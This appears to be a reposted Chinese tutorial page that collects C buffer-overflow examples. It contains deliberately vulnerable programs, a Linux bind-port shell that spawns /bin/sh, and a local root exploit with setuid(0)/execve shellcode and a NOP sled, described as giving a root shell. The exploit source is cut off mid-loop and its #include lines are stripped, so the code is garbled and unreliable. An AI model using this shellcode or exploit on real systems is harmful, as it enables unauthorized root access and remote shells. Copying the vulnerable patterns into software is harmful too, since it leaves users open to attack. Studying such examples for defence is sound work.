缓冲区溢出代码实例总结

来源:互联网 发布:057188157858是淘宝网 编辑:程序博客网 时间:2024/06/05 05:27

1

#include <stdio.h>#define PASSWORD "1234567"int verify_password (char *password){   int authenticated;   char buffer[8]; // add local buffto be overflowed   authenticated=strcmp(password,PASSWORD);   strcpy(buffer,password); // over flowed here!   return authenticated;}main(){   int valid_flag=0;   char password[1024];   while(1)   {      printf("please input password: ");      scanf("%s", password);      valid_flag=verify_password(password);      if(valid_flag)      {         printf("incorrect password!\n\n");      }      else      {         printf("Congratulation! You have passed the verification!\n");         break;      }   }}

如果输入的密码超过7个字符,(注意字符串截断符NULL将占用一个字节),则越界字符的ASCII码会修改掉authenticated的值。如果这段溢出数据恰好把authenticated改为0,则程序流程将被改变。

2

#include<stdio.h>void main(){  int i=0;  int a[]={1,2,3,4,5,6,7,8,9,10};  for(i=0;i<=10;i++)  {    a[i]=0;    printf("Hello World!\n");  }}

这段代码经过VC 6.0编译后,运行,在控制台无限制输出了“HelloWorld!”,


3

#include <stdio.h>  #include <string.h>    int main(int argc, char *argv[])  {          char buf[32];          FILE *fp;            fp = fopen("bad.txt", "r");          if (!fp) {                  perror("fopen");                  return 1;          }            fread(buf, 1024, 1, fp);          printf("data: %s\n", buf);            return 0;  }

代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。
尝试修改EIP,控制执行路径
buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要覆盖了该地址,就可以修改程序的执行路径。
为此,需要知道从文件读取多少个字节,才开始覆盖EIP。一种方法是反编译程序进行推导,另一种方法是基测试的方法。


4

(Linux)
绑定端口shellcode的逻辑很简单:打开socket,然后绑定到端口,等待远程进行链接,链接到后将0/1/2描述符都复制该socket上,再启动一个shell。 

#include <unistd.h>#include <sys/socket.h>#include <netinet/in.h>int sock, cli;struct sockaddr_in serv_addr;int main(){serv_addr.sin_family  = 2;serv_addr.sin_addr.s_addr = 0;serv_addr.sin_port = 0xAAAA;sock = socket(2, 1, 0);bind(sock, (struct sockaddr *)&serv_addr, 0x10);listen(sock, 1);cli = accept(sock, 0, 0);dup2(cli, 0);dup2(cli, 1);dup2(cli, 2);execve("/bin/sh", 0, 0);}

5

/* buffer overflow example by watercloud@xfocus.org */#include<stdio.h>void why_here(void) /*这个函数没有任何地方调用过*/ { printf("why u here ?!\n"); _exit(0);}int main(int argc,char * argv[]){ int buff[1]; buff[2]=(int)why_here; return 0;}

在命令行用VC的命令行编译器编译(在Linux 下用gcc 编译并运行也是同样结果):
仔细分析程序和打印信息,你可以发现程序中我们没有调用过why_here 函数,但该函数却 在运行的时候被调用了!! 
这里唯一的解释是buff[2]=why_here;操作导致了程序执行流程的变化。

6

(linux)

/** 文件名 : myex.c* 编译 : gcc -o myex myex.c** 说明 : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击* 有问题的程序p的程序示范源代码* 有关程序p的源代码请参见同一文章中的p.c* 如果有什么问题, 请与virtualcat联系: virtualcat@hotmail.com** 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作,* 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析.** 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过.**/#include #include #include #include #define RET_DIS 14 // Displacement to replace the return address#define NOP 0x90 // Machine code for no operation#define NNOP 100 // Number of NOPs#define ESP_RET_DIFF 0 //--> Need to apply an appropriate value here. (-60 shoul work)char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c""\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb""\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";int get_esp(){    __asm__("mov %esp, %eax");}int main(int argc, char **argv){    char* charPtr = NULL;    char* bufferPtr = NULL;    int* intPtr = NULL;    int shellCodeLength = strlen(shellCode);    int bufferSize = RET_DIS + NNOP + shellCodeLength + 1;    int retAddr = 0;    int adjustment = 0;    int i;    int esp = get_esp();    if(argc >= 2)    {        adjustment = atoi(argv[1]);    }    retAddr = esp + ESP_RET_DIFF + adjustment;    bufferPtr = (char *) malloc(bufferSize);    if(bufferPtr != NULL)    {        /* Fill the whole buffer with 'A' */        memset(bufferPtr, 0x41, bufferSize);        /* Butt in our return address */        intPtr = (int *) (bufferPtr + RET_DIS);        *intPtr++ = retAddr;        charPtr = (char *) intPtr;        /* To increase the probabilty of hitting the jackpot */        for(i=0; i


shellcode即我们要获得超级权限的shell的一段代码。我们的目的就是
想让main函数调用vulFunc以后返回到shellcode的首地址处,接着执行我们的shellcode,如果能达到这个目的的话,那我们的攻击也就完成了。
这段代码的核心就是填充bufferptr所指向的buffSize个内存块。
可以看到执行后的id变为root,得到超级权限的shell了,


0 0
原创粉丝点击